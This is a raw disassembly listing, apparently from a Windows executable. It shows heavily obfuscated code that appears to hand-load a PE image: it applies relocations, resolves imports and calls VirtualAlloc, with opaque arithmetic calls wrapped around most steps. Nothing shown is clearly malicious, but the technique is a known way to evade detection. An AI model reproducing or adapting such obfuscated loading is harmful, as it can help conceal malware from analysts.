mov dword [rsp + 0xa8], 1
mov qword [rsp + 0x130], rcx
je 0x1400030d5
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x280]
mov rax, qword [rax]
mov qword [rsp + 0x88], rax
mov rbx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov ecx, 0xffffffff
mov r8d, 0x36
mov r9d, 0x10
call fcn.1400057e0
mov rsi, rax
xor esi, ebx
mov rdx, qword [rsp + 0x88]
mov ecx, 0x7afafa69
call fcn.1400057e0
mov rdi, rax
or edi, esi
mov rdx, qword [rsp + 0x88]
mov ecx, 0xa061440
call fcn.1400057e0
mov rsi, rax
and esi, edi
mov ecx, 0x1050504
mov edx, 0x10
call fcn.1400057e0
mov rdi, rax
and edi, ebx
mov ecx, 0x1010104
call fcn.1400057e0
mov rbx, rax
or ebx, edi
add ebx, esi
mov rdx, qword [rsp + 0x88]
mov ecx, 0xb071544
call fcn.1400057e0
xor eax, ebx
sub rax, qword [rsp + 0x88]
add rax, qword [rsp + 0xb8]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x160]
mov esi, dword [rax + 0xb4]
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov ecx, 0xcd
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov rdx, qword [rsp + 0x88]
mov ecx, 0xff07
call fcn.1400057e0
mov rdx, qword [rsp + 0x88]
mov ecx, 0xde
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xc64694
call fcn.1400057e0
mov ecx, 0xcf4d
mov edx, 0x7d
call fcn.1400057e0
mov rdx, qword [rsp + 0x88]
mov r8d, 0x3a99b4
xor ecx, ecx
call fcn.1400057e0
cmp esi, eax
sete byte [rsp + 0x58]
mov dword [rsp + 0xa8], 0
cmp byte [rsp + 0x58], 0
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x130], rax
jne 0x1400030d5
mov rax, qword [rsp + 0x160]
mov rcx, qword [rsp + 0xc0]
mov edx, dword [rax + 0xb0]
mov rax, rdx
add rax, qword [rcx]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov eax, dword [rax]
mov dword [rsp + 0x114], eax
mov rax, qword [rsp + 0x88]
movzx eax, byte [rsp + 0x58]
mov ecx, 1
mov r9d, 0x10
mov r8d, edx
call fcn.1400057e0
mov edx, 0xa1830f
mov r8d, 0x46
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x114]
mov dword [rsp + 0xa8], 1
mov rdx, qword [rsp + 0x160]
mov qword [rsp + 0x130], rdx
cmp ecx, eax
je 0x1400030d5
movabs r12, 0x33d66e12fa7e323f
mov rax, qword [rsp + 0x2b8]
mov dword [rsp + 0x1c4], eax
mov rax, qword [rsp + 0x2c0]
mov ecx, dword [rsp + 0x114]
mov dword [rsp + 0x10c], ecx
mov qword [rsp + 0x248], rax
jmp 0x140002981
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x240], rax
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x1b8]
mov ebx, dword [rdi + rsi]
add rdi, rsi
mov ecx, 0xffffffff
mov rdx, rsi
mov r8, rsi
call fcn.1400057e0
mov ecx, 0x7afafa69
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0xce5475
call fcn.1400057e0
mov ecx, 0x1050504
mov r8d, 0xad
mov rdx, rsi
mov r9, rsi
call fcn.1400057e0
mov ecx, 0x1010104
mov edx, 0xc6
mov r8d, 0x6d
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, 0x4d
call fcn.1400057e0
mov edx, 0xac212a
mov r8d, 4
xor ecx, ecx
call fcn.1400057e0
mov dword [rsp + 0x10c], ebx
mov qword [rsp + 0x248], rdi
cmp ebx, eax
je 0x1400030ba
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x1b8], rax
mov ebp, dword [rsp + 0x10c]
mov rax, qword [rsp + 0xc0]
mov rcx, rbp
add rcx, qword [rax]
mov qword [rsp + 0x2c8], rcx
mov rax, qword [rsp + 0x1b8]
add rax, 4
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov r13d, dword [rax]
mov ecx, 0xffffffff
mov edx, 0x930494
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xd7d4eb
mov r8d, ebp
call fcn.1400057e0
mov ecx, 2
mov edx, 0xc7f76d
call fcn.1400057e0
movabs rcx, 0x128de0fb5713a577
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
mov r14, rax
add r14, rdi
mov ecx, 0x81
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov rdi, rax
or edi, ebp
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov rsi, rax
and esi, edi
imul esi, esi
mov ecx, 0x2d49
mov edx, 0x76
mov r8d, 0x24
call fcn.1400057e0
mov rdi, rax
imul edi, esi
mov ecx, 0x3e
mov r8d, 0x9b0ee2
mov edx, ebp
call fcn.1400057e0
mov rsi, rax
or esi, r13d
mov ecx, 0xff
call fcn.1400057e0
mov rbx, rax
and ebx, esi
imul ebx, ebx
mov ecx, 0xf535
call fcn.1400057e0
imul eax, ebx
xor esi, esi
cmp edi, eax
sete sil
mov edx, 0x835a7f
movabs rcx, 0x128de0faa8ec5a8f
call fcn.1400057e0
mov rdi, rax
sub rdi, rsi
xor rdi, r14
add rdi, r13
mov ecx, 0xffffffff
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x49
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xfd
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0x8364527323540e0d
call fcn.1400057e0
xor ecx, ecx
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xdb
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, ebp
call fcn.1400057e0
mov ecx, 2
xor edx, edx
call fcn.1400057e0
movabs rcx, 0x7d6939151b79f0c5
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov r8d, 0x7e9108
mov edx, ebp
call fcn.1400057e0
mov ecx, eax
shr rdi, cl
mov ecx, 0x7e
mov edx, 0xaa4b61
call fcn.1400057e0
mov ecx, 0xff
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xb71d
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x40
mov edx, 0x2f1837
call fcn.1400057e0
mov ecx, 0xd6d9
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov qword [rsp + 0x240], r13
cmp edi, eax
jle 0x1400028dc
mov rax, qword [rsp + 0x1b8]
add rax, 8
mov dword [rsp + 0x108], 0
mov qword [rsp + 0x238], rax
jmp 0x140002ec5
mov eax, dword [rsp + 0x118]
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rcx + rax]
add rdx, qword [rsp + 0x2b8]
mov qword [rcx + rax], rdx
mov edx, 0xddb42a
mov r8d, 0x65e607
movabs rcx, 0x37b621719e0d44a1
call fcn.1400057e0
mov rbp, rax
xor ecx, ecx
call fcn.1400057e0
xor rbp, rax
movabs rcx, 0xc849de8e61f2bb60
call fcn.1400057e0
mov edx, 0x59
xor ecx, ecx
mov r8, rbp
call fcn.1400057e0
mov ecx, 1
mov edx, 0xe87b50
mov r8d, 0xbb3cbd
call fcn.1400057e0
mov rdi, rax
add edi, dword [rsp + 0x24]
mov r13, qword [rsp + 0x2f8]
add r13, 2
mov rax, qword [rsp + 0x2d0]
mov eax, dword [rax]
mov dword [rsp + 0x78], eax
mov r15d, dword [rsp + 0x78]
mov ecx, 0x4a
call fcn.1400057e0
mov eax, dword [rsp + 0x78]
mov ecx, 0xff
mov edx, 0x6511a8
call fcn.1400057e0
mov ecx, 0x6809
call fcn.1400057e0
mov ecx, 0xbe
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xed65
mov r8d, 0x713b4a
mov rdx, rbp
call fcn.1400057e0
lea rcx, [r12 + 0xb039b88]
mov edx, 0x84
mov r8, rbp
call fcn.1400057e0
mov rsi, rax
mov edx, 0xdb
mov r8d, 0xa4
xor ecx, ecx
mov r9, rbp
call fcn.1400057e0
mov rbx, rax
add rbx, rsi
mov ecx, 0xffffffff
mov rdx, rbp
call fcn.1400057e0
mov eax, dword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
mov ecx, 0xffffffff
mov rdx, rbp
mov r8, rbp
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbp
call fcn.1400057e0
mov ecx, 2
mov edx, 0x29a388
call fcn.1400057e0
mov eax, dword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
mov rcx, r12
mov rdx, rbp
mov r8, rbp
call fcn.1400057e0
mov rsi, rax
mov edx, 0x10
xor ecx, ecx
call fcn.1400057e0
mov r14, rax
xor r14, rsi
xor r14, rbx
add r14, r15
mov ecx, 0x63
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xa2
call fcn.1400057e0
mov ecx, 0x6d5d
mov edx, 0x1b
call fcn.1400057e0
mov ecx, 0x5e
mov rdx, rbp
mov r8, rbp
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xf1ed
mov rdx, rbp
call fcn.1400057e0
movabs rcx, 0x213d9f32a5d2adeb
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xe8
mov r8, rbp
mov r9, rbp
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbp
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rbp
call fcn.1400057e0
mov ecx, 2
mov rdx, rbp
mov r8, rbp
call fcn.1400057e0
movabs rcx, 0xfe94cae11f2112c3
call fcn.1400057e0
xor ecx, ecx
mov rdx, rbp
call fcn.1400057e0
mov ecx, 1
mov edx, 0xd02202
call fcn.1400057e0
mov ecx, eax
shr r14, cl
mov dword [rsp + 0x108], edi
mov qword [rsp + 0x238], r13
cmp edi, r14d
jge 0x1400028d0
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x2f8], rax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x2f8]
movzx esi, word [rax]
mov edx, dword [rsp + 0x24]
mov ecx, 0xffffffff
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xfffffffd
mov r8d, 0x6775ed
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xffffffff
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 2
mov r8d, 0x5c588f
call fcn.1400057e0
movabs rcx, 0xe3420514e669edd3
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0x46
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xff
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xb45b
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0x67
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xfe69
mov edx, 0xe3e697
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov r8d, 0x7f
movabs rcx, 0xd20b8d92bbe75c44
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
xor ecx, ecx
mov r8d, edx
call fcn.1400057e0
mov edi, esi
shr edi, 0xc
mov ecx, 0x22
mov edx, 0xd2
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x41e7
mov edx, 0xd6
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0x7e
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0xff
mov r8d, 0xc586a4
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
mov ecx, 0x634f
mov r9d, 0x64
mov r8d, edx
call fcn.1400057e0
movabs rcx, 0x88449f41c77c89f
call fcn.1400057e0
mov r8d, dword [rsp + 0x24]
mov edx, 0x44
movabs rcx, 0x3027c82f2b569ca1
call fcn.1400057e0
mov edx, dword [rsp + 0x24]
xor ecx, ecx
call fcn.1400057e0
mov r8d, dword [rsp + 0x24]
mov ecx, 0xfff
mov edx, 0xd
call fcn.1400057e0
and eax, esi
mov dword [rsp + 0x118], eax
cmp edi, 0xa
je 0x140002c30
cmp edi, 3
jne 0x140002c4f
mov eax, dword [rsp + 0x118]
mov rcx, qword [rsp + 0x2c8]
mov edx, dword [rcx + rax]
add edx, dword [rsp + 0x1c4]
mov dword [rcx + rax], edx
jmp 0x140002c4f
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov dword [rsp + 0xa8], 1
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x300], rax
mov esi, dword [rsp + 0xa8]
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x24], esi
mov rax, qword [rsp + 0x300]
mov edi, dword [rax + 0x94]
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, 0xd9
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
mov ecx, 0x1010104
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, 0xdf
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
cmp edi, eax
sete byte [rsp + 0x59]
cmp byte [rsp + 0x59], 0
jne 0x140003c71
mov rax, qword [rsp + 0x300]
mov rcx, qword [rsp + 0xc0]
mov rcx, qword [rcx]
mov qword [rsp + 0xd0], rcx
mov edi, dword [rax + 0x90]
mov r15, rdi
add r15, qword [rsp + 0xd0]
movzx ebx, byte [rsp + 0x59]
lea esi, [rdi + rbx]
mov eax, edi
xor eax, ebx
sub esi, eax
and ebx, edi
mov ecx, 1
call fcn.1400057e0
mov ecx, eax
shl ebx, cl
xor ebx, esi
movabs r14, 0x3090cbe3f6f61e83
lea rcx, [r14 + 0x14]
call fcn.1400057e0
add rbx, rax
mov ecx, 0x1c
mov edx, edi
call fcn.1400057e0
mov rbp, rax
or ebp, edi
mov ecx, 0xff
call fcn.1400057e0
mov rsi, rax
and esi, ebp
imul esi, esi
mov ecx, 0x7dbf
mov edx, edi
call fcn.1400057e0
mov r12, rax
imul r12d, esi
mov ecx, 0x82
call fcn.1400057e0
mov rsi, rax
or esi, edi
mov ecx, 0xff
mov edx, edi
call fcn.1400057e0
mov rbp, rax
and ebp, esi
imul ebp, ebp
mov ecx, 0x6ee3
mov edx, edi
call fcn.1400057e0
imul eax, ebp
xor esi, esi
cmp r12d, eax
sete sil
neg rsi
mov r8d, 0x92
mov rcx, r14
mov edx, edi
call fcn.1400057e0
xor rbx, rax
xor rbx, rsi
mov edx, 0x84
mov rcx, rbx
call fcn.1400057e0
mov rcx, r15
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov ebx, eax
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, edi
mov r8d, edi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, edi
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
xor ecx, ecx
mov edx, edi
call fcn.1400057e0
mov qword [rsp + 0x230], r15
cmp ebx, eax
jne 0x140003c71
movabs rsi, 0x31be2457cfad437c
movabs r14, 0x6415995dc1018011
movabs r15, 0x9bea66a23eff7fee
jmp 0x1400033dc
mov rbp, qword [rsp + 0xf8]
add rbp, 0x14
mov edx, 0x44
mov r8d, 0xff
movabs rcx, 0x240c5d5d9e5f4ee0
call fcn.1400057e0
mov rbx, rax
mov edx, 0x1f
mov r8d, 0xe4
mov r9d, 0xdb
xor ecx, ecx
call fcn.1400057e0
add rbx, rax
movabs rcx, 0xdbf3a2a261a0b134
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
add rdi, rax
add rdi, rbx
mov rcx, rdi
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov edi, eax
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, 0xf6
mov r8, rbx
call fcn.1400057e0
mov ecx, 0xa061440
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x1050504
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x1010104
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xb071544
call fcn.1400057e0
mov edx, 0xbf
mov r8d, 0x34
xor ecx, ecx
call fcn.1400057e0
mov qword [rsp + 0x230], rbp
cmp edi, eax
jne 0x140003c71
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x50], eax
mov ecx, 0xffffffff
mov edx, 0xd2
call fcn.1400057e0
mov eax, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
mov ecx, 0x7afafa69
mov edx, 0x34
call fcn.1400057e0
mov ecx, 0xa061440
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, 0xb9d14d
call fcn.1400057e0
mov eax, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
mov ecx, 0x1010104
mov edx, 0xa2
call fcn.1400057e0
mov edx, dword [rsp + 0x50]
xor ecx, ecx
mov r8d, edx
mov r9d, edx
call fcn.1400057e0
mov ecx, dword [rsp + 0x50]
cmp ecx, eax
sete byte [rsp + 0x5a]
cmp byte [rsp + 0x5a], 0
jne 0x140003c71
mov rax, qword [rsp + 0x298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rcx]
mov ecx, dword [rsp + 0x50]
mov qword [rsp + 0x158], rcx
mov rcx, qword [rsp + 0xd0]
add rcx, qword [rsp + 0x158]
call rax
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0
sete byte [rsp + 0x2a]
cmp byte [rsp + 0x2a], 0
jne 0x140005137
mov rax, qword [rsp + 0x180]
mov r12d, dword [rax]
mov rax, qword [rsp + 0x158]
mov ecx, 1
mov edx, r12d
call fcn.1400057e0
movabs rcx, 0x75641eaf5279043e
call fcn.1400057e0
mov rbx, rax
xor ecx, ecx
mov edx, r12d
call fcn.1400057e0
add ebx, eax
movzx eax, byte [rsp + 0x2a]
mov rax, qword [rsp + 0x158]
mov ecx, 0x3e
mov edx, r12d
call fcn.1400057e0
mov ecx, 0xff
mov edx, r12d
call fcn.1400057e0
mov ecx, 0x12d1
mov edx, r12d
call fcn.1400057e0
mov ecx, 0x3b
mov edx, 0xcd4400
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xbb43
call fcn.1400057e0
mov edx, 0x8d
movabs rcx, 0x8a9be150ad86fbc3
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
mov edx, r12d
mov r8d, r12d
call fcn.1400057e0
xor eax, edi
add eax, ebx
add eax, r12d
cdqe
mov qword [rsp + 0x198], rax
mov ecx, 1
call fcn.1400057e0
mov edx, 0xd6
movabs rcx, 0x79766092ace4a02a
mov r8d, r12d
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movzx eax, byte [rsp + 0x5a]
movzx eax, byte [rsp + 0x2a]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xe8
mov r8d, r12d
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, r12d
mov r8d, r12d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov edx, 4
movabs rcx, 0x86899f6d531b5fd9
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 3
mov edx, r12d
mov r8d, r12d
call fcn.1400057e0
mov r13, qword [rsp + 0x198]
mov ecx, eax
shl r13, cl
mov ecx, 1
mov edx, 0x24
mov r8d, 0x3f
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
xor ecx, ecx
mov edx, r12d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov ecx, 0xffffffff
mov edx, 0xeb8fb7
mov r8d, r12d
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x10
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r12d
call fcn.1400057e0
mov eax, dword [rsp + 0x50]
mov ecx, 2
mov edx, r12d
call fcn.1400057e0
mov eax, dword [rsp + 0x50]
lea rcx, [rsi + 0x1000]
mov edx, 0x40
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x25c98e4bc47374f
mov edx, r12d
call fcn.1400057e0
xor ecx, ecx
mov edx, r12d
call fcn.1400057e0
mov ecx, 0xb5
mov r8d, 0x76fcc3
mov edx, r12d
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xcdf1
mov edx, r12d
mov r8d, r12d
call fcn.1400057e0
mov ecx, 0x42
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x46
mov r8d, r12d
mov r9d, r12d
call fcn.1400057e0
mov ecx, 0xa649
mov r8d, 0x6d
mov edx, r12d
call fcn.1400057e0
mov edx, 0xf6
xor ecx, ecx
call fcn.1400057e0
mov rcx, r13
mov edx, r12d
call fcn.1400057e0
mov rdi, rax
mov ecx, 0x1000
mov edx, 0x64
mov r8d, 0xf1
call fcn.1400057e0
mov rbx, rax
mov ecx, 4
mov edx, r12d
call fcn.1400057e0
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x1a0], rax
cmp qword [rsp + 0x1a0], 0
sete byte [rsp + 0x5b]
cmp byte [rsp + 0x5b], 0
jne 0x14000511a
mov rax, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x1a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x180]
movsxd rbp, dword [rax]
movzx eax, byte [rsp + 0x5b]
mov rax, qword [rsp + 0x198]
mov ecx, 0x9a
mov r8d, 8
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xa585
mov edx, 0x64
mov r8d, ebp
mov r9d, ebp
call fcn.1400057e0
mov ecx, 0xcc
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x47f
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov r8d, 0x5f
movabs rcx, 0x223c8c36984b1bef
mov edx, ebp
call fcn.1400057e0
mov rax, qword [rsp + 0x198]
mov ecx, 0xd4
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xff
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
mov ecx, 0x65ff
call fcn.1400057e0
mov ecx, 0x1e
mov edx, ebp
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x7a
mov edx, ebp
call fcn.1400057e0
mov ecx, 0x44bf
mov edx, 0x49
call fcn.1400057e0
mov r9d, 0x49
movabs rcx, 0xeffb7c60e1c3730f
xor edx, edx
mov r8d, ebp
call fcn.1400057e0
mov ecx, 1
mov edx, ebp
mov r8d, ebp
call fcn.1400057e0
add eax, ebp
mov rcx, qword [rsp + 0x180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0xf0]
mov qword [rax + rbp*8], rcx
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax]
mov dword [rsp + 0x11c], eax
movzx edi, byte [rsp + 0x2a]
mov rax, qword [rsp + 0x158]
lea ebx, [rdi + rax]
mov ecx, edi
xor ecx, eax
sub ebx, ecx
and edi, eax
mov ecx, 1
call fcn.1400057e0
mov ecx, eax
shl edi, cl
xor edi, ebx
mov eax, dword [rsp + 0x11c]
cmp eax, edi
jne 0x140003966
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax + 0x10]
add rax, qword [rsp + 0xd0]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rax
jmp 0x140003998
mov eax, dword [rsp + 0x11c]
add rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xf8]
mov ecx, dword [rcx + 0x10]
add rcx, qword [rsp + 0xd0]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rcx
mov rdi, qword [rsp + 0x220]
mov rbp, qword [rsp + 0x228]
mov rbx, qword [rbp]
mov ecx, 0xffffffff
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x7afafa69
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0xb6
call fcn.1400057e0
mov ecx, 0x1050504
mov rdx, rbx
call fcn.1400057e0
mov ecx, 0x1010104
call fcn.1400057e0
mov ecx, 0xb071544
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov edx, 0xf6
xor ecx, ecx
mov r8, rbx
call fcn.1400057e0
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x210], rdi
mov qword [rsp + 0x208], rbp
cmp rbx, rax
je 0x1400032e8
nop dword [rax]
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
mov rdx, qword [rsp + 0x168]
mov rcx, 0xffffffffffffffff
call fcn.1400057e0
mov rcx, qword [rsp + 0x168]
cmp rcx, rax
setg byte [rsp + 0x39]
cmp byte [rsp + 0x39], 0
je 0x140003ad0
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x168]
mov rbp, qword [rsp + 0x188]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rdx]
lea rdx, [rax + rcx]
add rdx, 2
mov rcx, qword [rsp + 0xf0]
call qword [rbp]
jmp 0x140003be0
mov rax, qword [rsp + 0x188]
mov rdi, qword [rax]
mov rax, qword [rsp + 0xe8]
mov rbp, qword [rax]
movzx ebx, byte [rsp + 0x39]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, 0x90
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, ebx
call fcn.1400057e0
mov ecx, 0x1050504
call fcn.1400057e0
mov ecx, 0x1010104
mov edx, ebx
mov r8d, ebx
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, ebx
call fcn.1400057e0
mov rcx, r14
mov edx, ebx
call fcn.1400057e0
xor ecx, ecx
mov edx, ebx
call fcn.1400057e0
movzx eax, byte [rsp + 0x39]
mov ecx, 0xed
mov edx, ebx
mov r8d, ebx
mov r9d, ebx
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xd6
call fcn.1400057e0
mov ecx, 0x3ff1
mov edx, ebx
call fcn.1400057e0
mov ecx, 0x3f
mov edx, ebx
call fcn.1400057e0
mov ecx, 0xff
mov edx, ebx
mov r8d, ebx
call fcn.1400057e0
mov ecx, 0xdbc7
call fcn.1400057e0
mov edx, 0x40
mov rcx, r15
mov r8d, ebx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffff
mov r8d, 0xeb
mov edx, ebx
call fcn.1400057e0
and rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0xf0]
mov rdx, rax
mov r8, rbp
call rdi
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x308]
mov qword [rcx], rax
test rax, rax
sete byte [rsp + 0x5c]
cmp byte [rsp + 0x5c], 0
jne 0x14000511a
mov rdi, qword [rsp + 0x338]
mov rbx, qword [rsp + 0x308]
add rbx, 8
mov rbp, qword [rdi + 8]
add rdi, 8
movzx eax, byte [rsp + 0x5c]
mov ecx, 1
mov edx, 0xad
mov r8d, 0xf6
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov qword [rsp + 0x218], rbp
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x208], rdi
cmp rbp, rax
jne 0x140003a30
jmp 0x1400032e8
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x80]
mov ecx, 0x7afafa69
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, 0x7a5f02
call fcn.1400057e0
mov ecx, 0x1010104
mov edx, 0x51
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, 0xb6
call fcn.1400057e0
movabs rcx, 0x85692875309da59d
call fcn.1400057e0
